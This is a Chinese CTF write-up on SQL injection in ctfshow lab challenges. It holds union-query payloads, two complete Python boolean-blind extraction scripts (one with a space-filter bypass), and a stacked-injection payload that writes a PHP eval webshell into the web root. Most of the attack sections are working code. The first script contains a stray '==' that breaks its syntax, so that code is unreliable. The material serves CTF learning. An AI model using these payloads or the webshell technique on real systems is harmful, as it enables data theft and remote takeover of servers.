渗透测试基础ctfshow——Web应用安全与防护(五)

第五章 SQL注入漏洞与防护

  • 本文围绕SQL注入在实战中的多种利用方式展开,内容涵盖联合查询注入、布尔盲注爆破、堆叠注入写Shell以及WAF绕过等核心技术,同时结合绕过方法与漏洞原理进行分析,并配合官方WP思路整理实现路径,适用于CTF与渗透测试基础到进阶阶段的学习与复现。

文章目录


联合查询注入

适合纯新手入门使用,难度极低。

打开网页:

发现许多超链接,随便点几个,发现是根据id 进行查找:


所以这里测试一下他是什么SQL注入:

绕过方法

如果想了解如何进行SQL注入,可以看该专栏:

这里有两种方法可以得到结果:

  • sqlmap脚本注入;
  • 手动测试注入;

这里我个人倾向于手动注入

(1)这里测试了一下,发现使用单引号'双引号" 等就不会显示出查询结果:

所以这里判断为"字符型闭合"

(2)测试一下回显位:

bash 复制代码
?id=-1 union select 1,2,3 -- da

# 查看当前数据库
?id=-1 union select 1,2,database() -- da

得到结果,三个位置均可回显;

(3)接下来就很熟悉的注入语句:

bash 复制代码
# 遍历所有数据库
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata -- da

# 查表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_page_informations' -- da

# 查列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_page_informations' and table_name='pages' -- da

# 详细字段
?id=-1 UNION SELECT 1,username,password FROM users -- da

数据库:ctfshow_page_informations

表名:pagesusers

列名:

bash 复制代码
- id,username,password
- id,title,content

因为不知道flag在哪里,所以分别查看:


users查询字段,得到flag:

布尔盲注爆破

打开页面,发现是一个登陆界面:

这里随便输入数据,然后抓包看看:

绕过方法

还是两种方法:sqlmap脚本或者手动注入

这里发现不论输入什么都是返回同一结果:

此时面对这种情况,有两个可能绕过:

  • 报错注入
  • 布尔盲注

这里首先测试一下报错注入

使用两个payload:

bash 复制代码
username=-1' union select 1,2,3 #&password=123
username=-1 union select 1,2,3 #&password=123

发现返回结果不一样:

因为报错信息总是一样,并不能拿到什么有效结果,所以报错注入在这关失效;


官方WP

所以我们这里尝试布尔盲注

布尔判断情况

  • 登陆失败返回包含script
  • 登陆成功返回未知,这里盲猜不含script

布尔盲注脚本

bash 复制代码
# exp.py
import requests
import string

URL = "http://localhost:5055/login.php"

FAIL = "script" # 登录失败时的响应头

def send_payload(payload):
    data = {
        "username": payload,
        "password": "anything"
    }
    resp = requests.post(URL, data=data, allow_redirects=False)
    return resp.text.find(FAIL) == -1

def get_length(payload_template, min_len=1, max_len=100):
    for l in range(min_len, max_len):
        payload = payload_template.format(l)
        if send_payload(payload):
            return l
    return None

def get_string(payload_template, length):
    result = ""
    chars = string.ascii_letters + string.digits + "_{}@.-,! "
    for i in range(1, length+1):
        for c in chars:
            payload = payload_template.format(i, c)
            if send_payload(payload):
                result += c
                print(f"\r{result}", end="", flush=True)
                break
    print()
    return result

def get_table_names():
    print("[*] Getting table name length...")
    length = get_length("admin' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#---")
    print(f"[*] Table names length: {length}") ==

    print("[*] Getting table names...")
    names = get_string("admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}');#---", length)
    print(f"[*] Table names: {names.split(',')}")
    return names.split(',')

def get_column_names(table):
    print(f"[*] Getting column names length for {table}...")
    length = get_length(f"admin' and (select length(group_concat(column_name)) from information_schema.columns where table_name='{table}')={{}};#---")
    print(f"[*] Column names length: {length}")

    print(f"[*] Getting column names for {table}...")
    names = get_string(f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}'),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Column names: {names}")
    return names.split(',')

def get_field(table, column, row=0):
    print(f"[*] Getting length of {column} in {table} row {row}...")
    length = get_length(f"admin' and (select length({column}) from {table} limit {row},1)={{}};#---", max_len=256)
    print(f"[*] Field length: {length}")

    if length is None:
        print(f"[!] Cannot determine length for {column} in {table} row {row}, skipping.")
        return ""

    print(f"[*] Getting value of {column} in {table} row {row}...")
    value = get_string(f"admin' and ascii(substr((select {column} from {table} limit {row},1),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Value: {value}")
    return value

if __name__ == "__main__":
    # 1. 获取所有表名
    tables = get_table_names()

    # 2. 获取每个表的列名
    for table in tables:
        columns = get_column_names(table)
        # 3. 获取每个表的每个字段内容
        for col in columns:
            for row in range(2): #获取前2行
                get_field(table, col, row)
  • 最终flag:
    • CTF{bool_sql_injection_is_fun}

堆叠注入写Shell

适合纯新手入门使用,难度极低。

打开页面,还是和之前一样:

抓包测试一下:

漏洞原理

  • 原理:利用分号(;)将多条SQL语句分隔开来,使数据库服务器能够依次执行这些串接的恶意语句。
    • 函数:使此漏洞成立的后端核心函数通常是 mysqli_multi_query()PDO::query() 等支持执行多条语句的API;

绕过方法

由于过滤了单引号无法直接闭合,这里使用转义符绕过单引号限制:

这里对一句话木马进行Hex编码尝试进行绕过:

bash 复制代码
# 一句话木马
<?php eval($_POST[cmd]);?>

# payload
password=;select 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e into outfile "/var/www/html/1.php";%23 &username=admin\

结果如下:

随后访问 1.php,成功写入一句话木马:

执行命令,拿到flag:

WAF绕过

打开页面,进行抓包:

(页面与 布尔盲注爆破 一模一样)

官方WP

经过测试,发现过滤了空格

直接注释绕过,完整脚本:

  • 代码都是差不多的,多了payload = payload.replace(" ", "/*!*/") 而已;
bash 复制代码
# exp.py
import requests
import string

URL = "http://localhost:5055/login.php"

FAIL = "script" # 登录失败时的响应头

def send_payload(payload):
    payload = payload.replace(" ", "/*!*/")  # 绕过空格过滤
    data = {
        "username": payload,
        "password": "anything"
    }
    resp = requests.post(URL, data=data, allow_redirects=False)
    return resp.text.find(FAIL) == -1

def get_length(payload_template, min_len=1, max_len=100):
    for l in range(min_len, max_len):
        payload = payload_template.format(l)
        if send_payload(payload):
            return l
    return None

def get_string(payload_template, length):
    result = ""
    chars = string.ascii_letters + string.digits + "_{}@.-,! "
    for i in range(1, length+1):
        for c in chars:
            payload = payload_template.format(i, c)
            if send_payload(payload):
                result += c
                print(f"\r{result}", end="", flush=True)
                break
    print()
    return result

def get_table_names():
    print("[*] Getting table name length...")
    length = get_length("admin' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())={};#---")
    print(f"[*] Table names length: {length}")

    print("[*] Getting table names...")
    names = get_string("admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}');#---", length)
    print(f"[*] Table names: {names.split(',')}")
    return names.split(',')

def get_column_names(table):
    print(f"[*] Getting column names length for {table}...")
    length = get_length(f"admin' and (select length(group_concat(column_name)) from information_schema.columns where table_name='{table}')={{}};#---")
    print(f"[*] Column names length: {length}")

    print(f"[*] Getting column names for {table}...")
    names = get_string(f"admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{table}'),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Column names: {names}")
    return names.split(',')

def get_field(table, column, row=0):
    print(f"[*] Getting length of {column} in {table} row {row}...")
    length = get_length(f"admin' and (select length({column}) from {table} limit {row},1)={{}};#---", max_len=256)
    print(f"[*] Field length: {length}")

    if length is None:
        print(f"[!] Cannot determine length for {column} in {table} row {row}, skipping.")
        return ""

    print(f"[*] Getting value of {column} in {table} row {row}...")
    value = get_string(f"admin' and ascii(substr((select {column} from {table} limit {row},1),{{}},1))=ascii('{{}}');#---", length)
    print(f"[*] Value: {value}")
    return value

if __name__ == "__main__":
    # 1. 获取所有表名
    tables = get_table_names()

    # 2. 获取每个表的列名
    for table in tables:
        columns = get_column_names(table)
        # 3. 获取每个表的每个字段内容
        for col in columns:
            for row in range(2):
                get_field(table, col, row)
  • 最终flag:
    • CTF{bool_sql_injection_bypass_is_fun}

总结

本章主要是讲解SQL注入漏洞与防护,都是些比较基础的知识;

相关推荐
Z_Wonderful4 小时前
基于 Vite 的 React+Vue 混部完整模板(含目录结构、依赖清单、启动脚本)
前端·vue.js·react.js
人间打气筒(Ada)4 小时前
「码动四季·开源同行」python语言:用户交互
开发语言·python·基本数据类型·注释·变量·常量·文件头
Rooting++5 小时前
腾讯无界微前端源码分析
前端
高洁015 小时前
大模型微调进阶:多任务微调实战
人工智能·python·深度学习·机器学习·transformer
2401_865439635 小时前
mysql如何处理升级后的身份认证兼容性_mysql_native_password配置
jvm·数据库·python
zopple5 小时前
四大编程语言对比:PHP、Python、Java与易语言
java·python·php
lhbian5 小时前
PHP、C++和C语言对比:哪个更适合你?
android·数据库·spring boot·mysql·kafka
NotFound4865 小时前
Flask项目目录怎么分_MVC架构在Flask应用中的常见目录树
jvm·数据库·python
小陈phd5 小时前
电商智能客服智能体——基于LangChain的电商智能客服 Agent 架构设计与实现(二)
数据库·microsoft·langchain